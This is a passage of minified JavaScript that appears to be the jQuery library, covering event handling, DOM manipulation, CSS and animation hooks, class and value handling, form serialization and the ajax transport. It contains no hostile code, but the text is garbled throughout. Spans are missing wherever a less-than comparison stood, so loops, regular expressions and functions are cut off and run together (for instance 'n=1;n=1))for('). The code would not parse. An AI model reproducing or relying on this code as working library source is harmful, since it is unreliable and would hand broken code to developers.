0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var 